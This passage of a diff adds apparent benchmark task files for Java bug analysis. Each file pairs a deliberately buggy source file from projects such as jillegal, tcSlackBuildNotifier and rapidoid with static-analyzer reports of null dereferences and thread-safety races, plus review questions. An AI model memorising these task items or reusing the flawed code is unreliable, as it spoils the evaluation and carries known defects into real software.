+    cacheExpressions.remove(expression);
+  }
+
+
+  /**
+   * Execute a text expression without caching and env map.
+   *
+   * @param expression
+   * @return
+   */
+  public Object execute(String expression) {
+    return execute(expression, (Map<String, Object>) null);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getOption(com.googlecode.aviator.Options.TRACE)` could be null and is dereferenced at line 646.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CodeGenerator AviatorEvaluatorInstance.newCodeGenerator(AviatorClassLoader)
+
+### Procedure Id:
+com.googlecode.aviator.AviatorEvaluatorInstance.newCodeGenerator(com.googlecode.aviator.parser.Aviat.466162e4dda6d94cbcaa27c218a5c092
+
+### File:
+src/main/java/com/googlecode/aviator/AviatorEvaluatorInstance.java
+
+### Key:
+AviatorEvaluatorInstance.java|newCodeGenerator|NULL_DEREFERENCE
+
+### Node Key:
+0ae8f8fdedf9076643c28047fce31504
+
+### Hash:
+5644e3096604a84ff9554128669dfdac
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6984/instruction.md b/inferredbugs-6984/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6049bf91ab523d48b8128efa4b890260e700dffa
--- /dev/null
+++ b/inferredbugs-6984/instruction.md
@@ -0,0 +1,410 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jillegal
+**Bug ID:** 61
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * @author SERKAN OZAL
+ *         
+ *         E-Mail: <a href="mailto:serkanozal86@hotmail.com">serkanozal86@hotmail.com</a>
+ *         GitHub: <a>https://github.com/serkan-ozal</a>
+ */
+
+package tr.com.serkanozal.jillegal.offheap.pool.impl;
+
+import java.lang.reflect.Array;
+
+import tr.com.serkanozal.jillegal.offheap.OffHeapAwareObject;
+import tr.com.serkanozal.jillegal.offheap.domain.model.pool.ArrayOffHeapPoolCreateParameter;
+import tr.com.serkanozal.jillegal.offheap.memory.DirectMemoryService;
+import tr.com.serkanozal.jillegal.offheap.pool.ContentAwareOffHeapPool;
+import tr.com.serkanozal.jillegal.offheap.pool.DeeplyForkableArrayOffHeapPool;
+import tr.com.serkanozal.jillegal.util.JvmUtil;
+
+public class ComplexTypeArrayOffHeapPool<T, A> extends BaseOffHeapPool<T, ArrayOffHeapPoolCreateParameter<T>> 
+		implements 	DeeplyForkableArrayOffHeapPool<T, A, ArrayOffHeapPoolCreateParameter<T>>,
+					ContentAwareOffHeapPool<T, ArrayOffHeapPoolCreateParameter<T>> {
+
+	protected int length;
+	protected boolean initializeElements;
+	protected long objectSize;
+	protected long arraySize;
+	protected T sampleObject;
+	protected A sampleArray;
+	protected A objectArray;
+	protected long sampleObjectAddress;
+	protected long objStartAddress;
+	protected long arrayStartAddress;
+	protected long arrayIndexStartAddress;
+	protected int arrayIndexScale;
+	protected JvmAwareArrayElementAddressFinder jvmAwareArrayElementAddressFinder;
+	
+	public ComplexTypeArrayOffHeapPool(ArrayOffHeapPoolCreateParameter<T> parameter) {
+		this(parameter.getElementType(), parameter.getLength(), parameter.isInitializeElements(), 
+				parameter.getDirectMemoryService());
+	}
+	
+	public ComplexTypeArrayOffHeapPool(Class<T> elementType, int length, DirectMemoryService directMemoryService) {
+		this(elementType, length, false, directMemoryService);
+	}
+	
+	public ComplexTypeArrayOffHeapPool(Class<T> elementType, int length, boolean initializeElements, DirectMemoryService directMemoryService) {
+		super(elementType, directMemoryService);
+		if (length <= 0) {
+			throw new IllegalArgumentException("\"length\" must be positive !");
+		}
+		init(elementType, length, initializeElements, directMemoryService);
+	}
+	
+	@SuppressWarnings("unchecked")
+	@Override
+	protected void init() {
+		super.init();
+		
+		if (initializeElements) {
+			// All index is object pool array header point to allocated objects 
+			for (long l = 0; l < length; l++) {
+				directMemoryService.putLong(arrayIndexStartAddress + (l * arrayIndexScale), 
+						JvmUtil.toJvmAddress((objStartAddress + (l * objectSize))));
+			}
+	
+			// Copy sample object to allocated memory region for each object
+			for (long l = 0; l < length; l++) {
+				directMemoryService.copyMemory(
+						sampleObjectAddress, 
+						objStartAddress + (l * objectSize), 
+						objectSize);
+			}
+			
+			/*
+			long sourceAddress = sampleObjectAddress + 4;
+			long copySize = objectSize - 4;
+			// Copy sample object to allocated memory region for each object
+			for (long l = 0; l < length; l++) {
+				long targetAddress = objStartAddress + (l * objectSize);
+				directMemoryService.putInt(targetAddress, 0);
+				directMemoryService.copyMemory(sourceAddress, targetAddress + 4, copySize);
+			}
+			*/
+		}
+		else {
+			// All indexes in object pool array point to empty (null) object
+			for (long l = 0; l < length; l++) {
+				directMemoryService.putLong(arrayIndexStartAddress + (l * arrayIndexScale), 0L);
+			}
+		}
+		
+		this.objectArray = (A) directMemoryService.getObject(arrayStartAddress);
+	}
+	
+	public boolean isInitializeElements() {
+		return initializeElements;
+	}
+	
+	@Override
+	public int getLength() {
+		return length;
+	}
+	
+	@Override
+	public boolean isMine(T element) {
+		checkAvailability();
+		if (element == null) {
+			return false;
+		}
+		else {
+			return isMine(directMemoryService.addressOf(element));
+		}	
+	}
+
+	@Override
+	public boolean isMine(long address) {
+		checkAvailability();
+		return isIn(address);
+	}
+	
+	@Override
+	public boolean isMe(A array) {
+		checkAvailability();
+		return objectArray == array;
+	}
+	
+	@Override
+	public boolean isMeAsAddress(long arrayAddress) {
+		checkAvailability();
+		return allocationStartAddress == arrayAddress;
+	}
+	
+	@SuppressWarnings("unchecked")
+	@Override
+	public T getAt(int index) {
+		checkAvailability();
+		if (index < 0 || index > length) {
+			throw new IllegalArgumentException("Invalid index: " + index);
+		}	
+		processObject(
+				jvmAwareArrayElementAddressFinder.findAddress(
+						arrayIndexStartAddress, arrayIndexScale, index));
+		T obj = ((T[])(objectArray))[index];
+		if (obj instanceof OffHeapAwareObject) {
+			((OffHeapAwareObject) obj).onGet(offHeapService, directMemoryService);
+		}
+		return obj;
+	}
+	
+	@Override
+	public void setAt(T element, int index) {
+		checkAvailability();
+		if (index >= 0 && index < length) {
+			// Make target index points to element 
+			directMemoryService.putLong(arrayIndexStartAddress + (index * arrayIndexScale), 
+					JvmUtil.toJvmAddress(directMemoryService.addressOf(element)));
+		}	
+		else {
+			throw new IllegalArgumentException("Invalid index: " + index);
+		}
+	}
+	
+	@Override
+	public A getArray() {
+		checkAvailability();
+		return objectArray;
+	}
+	
+	@Override
+	public long getArrayAsAddress() {
+		checkAvailability();
+		return allocationStartAddress;
+	}
+	
+	@Override
+	public synchronized void reset() {
+		init();
+		makeAvaiable();
+	}
+	
+	@Override
+	public synchronized void free() {
+		checkAvailability();
+		// TODO Iterate over all objects and call their "onFree" methods if they are instance of "OffHeapAwareObject"
+		directMemoryService.freeMemory(allocationStartAddress);
+		directMemoryService.freeMemory(sampleObjectAddress);
+		makeUnavaiable();
+	}
+
+	@Override
+	public void init(ArrayOffHeapPoolCreateParameter<T> parameter) {
+		init(parameter.getElementType(), parameter.getLength(), parameter.isInitializeElements(), 
+				parameter.getDirectMemoryService());
+	}
+	
+	@SuppressWarnings("unchecked")
+	protected void init(Class<T> elementType, int length, boolean initializeElements, DirectMemoryService directMemoryService) {
+		try {
+			this.elementType = elementType;
+			this.length = length;
+			this.initializeElements = initializeElements;
+			this.directMemoryService = directMemoryService;
+			
+			objectSize = directMemoryService.sizeOfClass(elementType);
+			arraySize = JvmUtil.sizeOfArray(elementType, length);
+			if (initializeElements) {
+				allocationSize = 
+						arraySize + (length * objectSize) + 
+						2 * JvmUtil.OBJECT_ADDRESS_SENSIVITY; // Extra memory for possible aligning
+			}
+			else {
+				allocationSize = 
+						arraySize + 
+						2 * JvmUtil.OBJECT_ADDRESS_SENSIVITY; // Extra memory for possible aligning
+			}
+			allocationStartAddress = directMemoryService.allocateMemory(allocationSize); 
+			allocationEndAddress = allocationStartAddress + allocationSize;
+
+			sampleArray = (A) Array.newInstance(elementType, 0);
+			
+			if (initializeElements) {
+				sampleObject = JvmUtil.getSampleInstance(elementType);
+				if (sampleObject == null) {
+					throw new IllegalStateException("Unable to create a sample object for class " + elementType.getName());
+				}
+				sampleObjectAddress = directMemoryService.allocateMemory(objectSize);
+				directMemoryService.copyMemory(sampleObject, 0L, null, sampleObjectAddress, objectSize);
+			}
+
+			long addressMod;
+			
+			arrayStartAddress = allocationStartAddress;
+			addressMod = arrayStartAddress % JvmUtil.OBJECT_ADDRESS_SENSIVITY;
+			if (addressMod != 0) {
+				arrayStartAddress += (JvmUtil.OBJECT_ADDRESS_SENSIVITY - addressMod);
+			}
+			
+			int arrayHeaderSize = JvmUtil.getArrayHeaderSize();
+			arrayIndexScale = JvmUtil.arrayIndexScale(elementType);
+			arrayIndexStartAddress = arrayStartAddress + JvmUtil.arrayBaseOffset(elementType);
+			
+			if (initializeElements) {
+				objStartAddress = arrayStartAddress + JvmUtil.sizeOfArray(elementType, length);
+				
+				// Allocated objects must start aligned as address size from start address of allocated address
+				long diffBetweenArrayAndObjectStartAddresses = objStartAddress - arrayStartAddress;
+				addressMod = diffBetweenArrayAndObjectStartAddresses % JvmUtil.OBJECT_ADDRESS_SENSIVITY;
+				if (addressMod != 0) {
+					objStartAddress += (JvmUtil.OBJECT_ADDRESS_SENSIVITY - addressMod);
+				}
+			}
+			
+			// Copy sample array header to object pool array header
+			directMemoryService.copyMemory(sampleArray, 0L, null, arrayStartAddress, arrayHeaderSize);
+
+			// Set length of array object pool array
+			JvmUtil.setArrayLength(arrayStartAddress, elementType, length);
+
+			switch (JvmUtil.getAddressSize()) {
+		        case JvmUtil.SIZE_32_BIT:
+		        	jvmAwareArrayElementAddressFinder = new Address32BitJvmAwareArrayElementAddressFinder();
+		            break;
+		        case JvmUtil.SIZE_64_BIT:
+		        	int referenceSize = JvmUtil.getReferenceSize();
+		        	switch (referenceSize) {
+		             	case JvmUtil.ADDRESSING_4_BYTE:   
+		             		jvmAwareArrayElementAddressFinder = new Address64BitWithCompressedOopsJvmAwareArrayElementAddressFinder();
+		             		break;
+		             	case JvmUtil.ADDRESSING_8_BYTE:
+		             		jvmAwareArrayElementAddressFinder = new Address64BitWithCompressedOopsJvmAwareArrayElementAddressFinder();
+		             		break;
+		             	default:    
+		                    throw new AssertionError("Unsupported reference size: " + referenceSize);
+		        	}
+		        	break;    
+		        default:
+		            throw new AssertionError("Unsupported address size: " + JvmUtil.getAddressSize());
+			} 
+			
+			init();
+			
+			makeAvaiable();
+		}
+		catch (IllegalArgumentException e) {
+			throw e;
+		}
+		catch (Throwable t) {
+			logger.error("Error occured while initializing \"ComplexTypeArrayOffHeapPool\"", t);
+			throw new IllegalStateException(t);
+		}		
+	}
+	
+	@Override
+	public DeeplyForkableArrayOffHeapPool<T, A, ArrayOffHeapPoolCreateParameter<T>> fork() {
+		return 
+				new ComplexTypeArrayOffHeapPool<T, A>(
+							getElementType(), 
+							length, 
+							getDirectMemoryService());
+	}
+	
+	protected interface JvmAwareArrayElementAddressFinder {
+		
+		long findAddress(long arrayIndexStartAddress, int arrayIndexScale, int index);
+	
+	}
+	
+	protected class Address32BitJvmAwareArrayElementAddressFinder implements JvmAwareArrayElementAddressFinder {
+
+		@Override
+		public long findAddress(long arrayIndexStartAddress, int arrayIndexScale, int index) {
+			return directMemoryService.getAsIntAddress(arrayIndexStartAddress + (arrayIndexScale * index));
+		}
+		
+	}
+	
+	protected class Address64BitWithoutCompressedOopsJvmAwareArrayElementAddressFinder implements JvmAwareArrayElementAddressFinder {
+
+		@Override
+		public long findAddress(long arrayIndexStartAddress, int arrayIndexScale, int index) {
+			return directMemoryService.getLong(arrayIndexStartAddress + (arrayIndexScale * index));
+		}
+		
+	}
+	
+	protected class Address64BitWithCompressedOopsJvmAwareArrayElementAddressFinder implements JvmAwareArrayElementAddressFinder {
+
+		@Override
+		public long findAddress(long arrayIndexStartAddress, int arrayIndexScale, int index) {
+			return directMemoryService.getAsIntAddress(arrayIndexStartAddress + (arrayIndexScale * index));
+		}
+		
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `tr.com.serkanozal.jillegal.offheap.pool.impl.ComplexTypeArrayOffHeapPool.init` writes to field `this.tr.com.serkanozal.jillegal.offheap.pool.impl.ComplexTypeArrayOffHeapPool.objectArray` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ComplexTypeArrayOffHeapPool.init()
+
+### Procedure Id:
+tr.com.serkanozal.jillegal.offheap.pool.impl.ComplexTypeArrayOffHeapPool.init():void.210faf44851d643a17b2c97169ecf2ff
+
+### File:
+src/main/java/tr/com/serkanozal/jillegal/offheap/pool/impl/ComplexTypeArrayOffHeapPool.java
+
+### Key:
+ComplexTypeArrayOffHeapPool.java|init|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+d18120dccd2a463a41c67281a04651fe
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7052/instruction.md b/inferredbugs-7052/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..258a1cff4634d85df36c31ba171f4c15d23ee12f
--- /dev/null
+++ b/inferredbugs-7052/instruction.md
@@ -0,0 +1,199 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** tcSlackBuildNotifier
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package slacknotifications.teamcity.settings;
+
+import jetbrains.buildServer.serverSide.SBuildServer;
+import jetbrains.buildServer.serverSide.ServerPaths;
+import org.jdom.Document;
+import org.jdom.Element;
+import org.jdom.JDOMException;
+import org.jdom.input.SAXBuilder;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import slacknotifications.SlackNotificationProxyConfig;
+
+import java.io.File;
+import java.io.IOException;
+
+import static org.junit.Assert.*;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import org.apache.http.auth.Credentials;
+
+public class SlackNotificationMainSettingsTest {
+	SBuildServer server = mock(SBuildServer.class);
+	Integer proxyPort = 8080;
+	String proxyHost = "myproxy.mycompany.com";
+    String defaultChannel = "#my-channel";
+    String teamName =  "myteam";
+    String token = "thisismytoken";
+	String iconUrl = "http://www.myicon.com/icon.gif";
+    String botName = "Team City";
+
+    @After
+    @Before
+    public void deleteSlackConfigFile(){
+        DeleteConfigFiles();
+    }
+
+    private void DeleteConfigFiles() {
+        File outputFile = new File("slack", "slack-config.xml");
+        outputFile.delete();
+
+        File outputDir = new File("slack");
+        outputDir.delete();
+    }
+
+    @Test
+	public void TestFullConfig(){
+        String expectedConfigDirectory = ".";
+        ServerPaths serverPaths = mock(ServerPaths.class);
+        when(serverPaths.getConfigDir()).thenReturn(expectedConfigDirectory);
+
+		SlackNotificationMainSettings whms = new SlackNotificationMainSettings(server, serverPaths);
+		whms.register();
+		whms.readFrom(getFullConfigElement());
+		String proxy = whms.getProxyForUrl("http://something.somecompany.com");
+		SlackNotificationProxyConfig whpc = whms.getProxyConfigForUrl("http://something.somecompany.com");
+		assertTrue(proxy.equals(this.proxyHost));
+		assertTrue(whpc.getProxyHost().equals(this.proxyHost ));
+		assertTrue(whpc.getProxyPort().equals(this.proxyPort));
+        assertTrue(whms.getDefaultChannel().equals(this.defaultChannel));
+        assertTrue(whms.getTeamName().equals(this.teamName));
+        assertTrue(whms.getToken().equals(this.token));
+        assertTrue(whms.getIconUrl().equals(this.iconUrl));
+        assertTrue(whms.getBotName().equals(this.botName));
+        assertTrue(whms.getShowBuildAgent());
+        assertTrue(whms.getShowElapsedBuildTime());
+        assertFalse(whms.getShowCommits());
+        assertEquals(15, whms.getMaxCommitsToDisplay());
+        
+        Credentials credentials = whpc.getCreds();
+        
+		assertEquals("some-username", credentials.getUserPrincipal().getName());
+		assertEquals("some-password", credentials.getPassword());
+	}
+
+    @Test
+    public void TestEmptyDefaultsConfig(){
+        String expectedConfigDirectory = ".";
+        ServerPaths serverPaths = mock(ServerPaths.class);
+        when(serverPaths.getConfigDir()).thenReturn(expectedConfigDirectory);
+
+        SlackNotificationMainSettings whms = new SlackNotificationMainSettings(server, serverPaths);
+        whms.register();
+        whms.readFrom(getEmptyDefaultsConfigElement());
+        String proxy = whms.getProxyForUrl("http://something.somecompany.com");
+        SlackNotificationProxyConfig whpc = whms.getProxyConfigForUrl("http://something.somecompany.com");
+        assertTrue(proxy.equals(this.proxyHost));
+        assertTrue(whpc.getProxyHost().equals(this.proxyHost ));
+        assertTrue(whpc.getProxyPort().equals(this.proxyPort));
+        assertTrue(whms.getDefaultChannel().equals(this.defaultChannel));
+        assertTrue(whms.getTeamName().equals(this.teamName));
+        assertTrue(whms.getToken().equals(this.token));
+        assertTrue(whms.getIconUrl().equals(this.iconUrl));
+        assertTrue(whms.getBotName().equals(this.botName));
+        assertNull(whms.getShowBuildAgent());
+        assertNull(whms.getShowElapsedBuildTime());
+        assertTrue(whms.getShowCommits());
+        assertEquals(5, whms.getMaxCommitsToDisplay());
+    }
+
+    private Element getFullConfigElement(){
+        return getElement("src/test/resources/main-config-full.xml");
+    }
+
+    private Element getEmptyDefaultsConfigElement(){
+        return getElement("src/test/resources/main-config-empty-defaults.xml");
+    }
+
+    private Element getElement(String filePath){
+        SAXBuilder builder = new SAXBuilder();
+        builder.setIgnoringElementContentWhitespace(true);
+        try {
+            Document doc = builder.build(filePath);
+            return doc.getRootElement();
+        } catch (JDOMException e) {
+            // TODO Auto-generated catch block
+            e.printStackTrace();
+        } catch (IOException e) {
+            // TODO Auto-generated catch block
+            e.printStackTrace();
+        }
+        return null;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `whpc` last assigned on line 87 could be null and is dereferenced at line 89.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SlackNotificationMainSettingsTest.TestEmptyDefaultsConfig()
+
+### Procedure Id:
+slacknotifications.teamcity.settings.SlackNotificationMainSettingsTest.TestEmptyDefaultsConfig():voi.3e1816cc39d87472915c836a6891ae39
+
+### File:
+tcslackbuildnotifier-core/src/test/java/slacknotifications/teamcity/settings/SlackNotificationMainSettingsTest.java
+
+### Key:
+SlackNotificationMainSettingsTest.java|TestEmptyDefaultsConfig|NULL_DEREFERENCE
+
+### Node Key:
+6924af27a245a1c6bbfbeafd4fa4ae36
+
+### Hash:
+0d7a4d3a48e0b3365792383f2e14dc30
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7099/instruction.md b/inferredbugs-7099/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f2e71c5526d422c28ec0453f06e7b7a297d9049b
--- /dev/null
+++ b/inferredbugs-7099/instruction.md
@@ -0,0 +1,207 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rapidoid
+**Bug ID:** 48
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.rapidoid.scan;
+
+import org.rapidoid.RapidoidThing;
+import org.rapidoid.annotation.Authors;
+import org.rapidoid.annotation.Since;
+import org.rapidoid.lambda.Operation;
+import org.rapidoid.log.Log;
+import org.rapidoid.u.U;
+
+import java.lang.annotation.Annotation;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/*
+ * #%L
+ * rapidoid-commons
+ * %%
+ * Copyright (C) 2014 - 2017 Nikolche Mihajlovski and contributors
+ * %%
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ * #L%
+ */
+
+@Authors("Nikolche Mihajlovski")
+@Since("2.5.0")
+public class ScanParams extends RapidoidThing {
+
+	private String[] packages = null;
+
+	private String matching = null;
+
+	private Class<? extends java.lang.annotation.Annotation>[] annotated = null;
+
+	private ClassLoader classLoader = null;
+
+	public synchronized ScanParams in(String... packages) {
+		this.packages = packages;
+		return this;
+	}
+
+	public synchronized ScanParams in(Iterable<String> packages) {
+		return in(U.arrayOf(String.class, packages));
+	}
+
+	public synchronized String[] in() {
+		return this.packages;
+	}
+
+	public synchronized ScanParams matching(String matching) {
+		this.matching = matching;
+		return this;
+	}
+
+	public synchronized String matching() {
+		return this.matching;
+	}
+
+	public synchronized ScanParams annotated(Class<? extends Annotation>... annotated) {
+		this.annotated = annotated;
+		return this;
+	}
+
+	@SuppressWarnings("unchecked")
+	public synchronized ScanParams annotated(Collection<Class<? extends Annotation>> annotated) {
+		return annotated(U.arrayOf(Class.class, annotated));
+	}
+
+	public synchronized Class<? extends Annotation>[] annotated() {
+		return this.annotated;
+	}
+
+	public synchronized ScanParams classLoader(ClassLoader classLoader) {
+		this.classLoader = classLoader;
+		return this;
+	}
+
+	public synchronized ClassLoader classLoader() {
+		return this.classLoader;
+	}
+
+	public synchronized List<String> getAll() {
+		return ClasspathUtil.getClasses(this);
+	}
+
+	public synchronized List<Class<?>> loadAll() {
+		return ClasspathUtil.loadClasses(this);
+	}
+
+	public synchronized void forEach(Operation<Class<?>> classOperation) {
+		for (Class<?> cls : loadAll()) {
+			try {
+				classOperation.execute(cls);
+			} catch (Exception e) {
+				Log.error("Cannot process annotated class!", e);
+			}
+		}
+	}
+
+	@Override
+	public boolean equals(Object o) {
+		if (this == o) return true;
+		if (o == null || getClass() != o.getClass()) return false;
+
+		ScanParams that = (ScanParams) o;
+
+		if (!Arrays.equals(packages, that.packages)) return false;
+		if (matching != null ? !matching.equals(that.matching) : that.matching != null) return false;
+		if (!Arrays.equals(annotated, that.annotated)) return false;
+		return classLoader != null ? classLoader.equals(that.classLoader) : that.classLoader == null;
+	}
+
+	@Override
+	public int hashCode() {
+		int result = Arrays.hashCode(packages);
+		result = 31 * result + (matching != null ? matching.hashCode() : 0);
+		result = 31 * result + Arrays.hashCode(annotated);
+		result = 31 * result + (classLoader != null ? classLoader.hashCode() : 0);
+		return result;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.rapidoid.scan.ScanParams.equals` reads without synchronization from `this.org.rapidoid.scan.ScanParams.annotated`. Potentially races with write in method `ScanParams.annotated(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean ScanParams.equals(Object)
+
+### Procedure Id:
+org.rapidoid.scan.ScanParams.equals(java.lang.Object):boolean.706e5db8c19dcb50fc0380c822e7fa90
+
+### File:
+rapidoid-commons/src/main/java/org/rapidoid/scan/ScanParams.java
+
+### Key:
+ScanParams.java|equals|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+a377b8fd3c24554fb93891e3ad9a87ca
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7110/instruction.md b/inferredbugs-7110/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5dfcc67c25a18735db518b4d34ef9d1614a88877
--- /dev/null
+++ b/inferredbugs-7110/instruction.md
@@ -0,0 +1,1064 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rapidoid
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.rapidoid.http;
+
+/*
+ * #%L
+ * rapidoid-http
+ * %%
+ * Copyright (C) 2014 Nikolche Mihajlovski
+ * %%
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ * #L%
+ */
+
+import java.io.File;
+import java.io.OutputStream;
+import java.net.URL;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Pattern;
+
+import org.rapidoid.data.BinaryMultiData;
+import org.rapidoid.data.Data;
+import org.rapidoid.data.KeyValueRanges;
+import org.rapidoid.data.MultiData;
+import org.rapidoid.data.Range;
+import org.rapidoid.data.Ranges;
+import org.rapidoid.inject.IoC;
+import org.rapidoid.net.impl.ConnState;
+import org.rapidoid.net.impl.DefaultExchange;
+import org.rapidoid.net.mime.MediaType;
+import org.rapidoid.security.Secure;
+import org.rapidoid.util.Cls;
+import org.rapidoid.util.Constants;
+import org.rapidoid.util.IUser;
+import org.rapidoid.util.U;
+import org.rapidoid.util.UTILS;
+import org.rapidoid.wrap.Bool;
+
+public class HttpExchangeImpl extends DefaultExchange<HttpExchange, HttpExchangeBody> implements HttpExchange,
+		HttpInterception, Constants {
+
+	protected static final String SESSION_USER = "_user";
+
+	private static final String SESSION_COOKIE = "JSESSIONID";
+
+	public static final String SESSION_PAGE_STACK = "_page_stack_";
+
+	private final static HttpParser PARSER = IoC.singleton(HttpParser.class);
+
+	private static final byte[] HEADER_SEP = ": ".getBytes();
+
+	private static final Pattern STATIC_RESOURCE_PATTERN = Pattern.compile("^[a-zA-Z0-9_\\.\\-/]+$");
+
+	final Range uri = new Range();
+	final Range verb = new Range();
+	final Range path = new Range();
+	final Range query = new Range();
+	final Range protocol = new Range();
+
+	final Ranges headers = new Ranges(50);
+
+	private final KeyValueRanges params = new KeyValueRanges(50);
+	private final KeyValueRanges headersKV = new KeyValueRanges(50);
+	private final KeyValueRanges cookies = new KeyValueRanges(50);
+	private final KeyValueRanges data = new KeyValueRanges(50);
+	private final KeyValueRanges files = new KeyValueRanges(50);
+
+	final Range body = new Range();
+	final Bool isGet = new Bool();
+	final Bool isKeepAlive = new Bool();
+
+	private boolean parsedParams;
+	private boolean parsedHeaders;
+	private boolean parsedBody;
+
+	private int bodyPos;
+
+	private boolean writesBody;
+	private boolean hasContentType;
+	private int startingPos;
+	private HttpResponses responses;
+	private HttpSession session;
+	private Router router;
+
+	final Range multipartBoundary = new Range();
+
+	/**********/
+
+	private final Range subpathRange = new Range();
+
+	private final Data _body;
+	private final Data _uri;
+	private final Data _verb;
+	private final Data _path;
+	private final Data _subpath;
+	private final Data _query;
+	private final Data _protocol;
+	private final MultiData _params;
+	private final MultiData _headers;
+	private final MultiData _cookies;
+	private final MultiData _data;
+	private final BinaryMultiData _files;
+
+	private int responseCode;
+	private String redirectUrl;
+	private String sessionId;
+	private Throwable error;
+	private boolean complete;
+
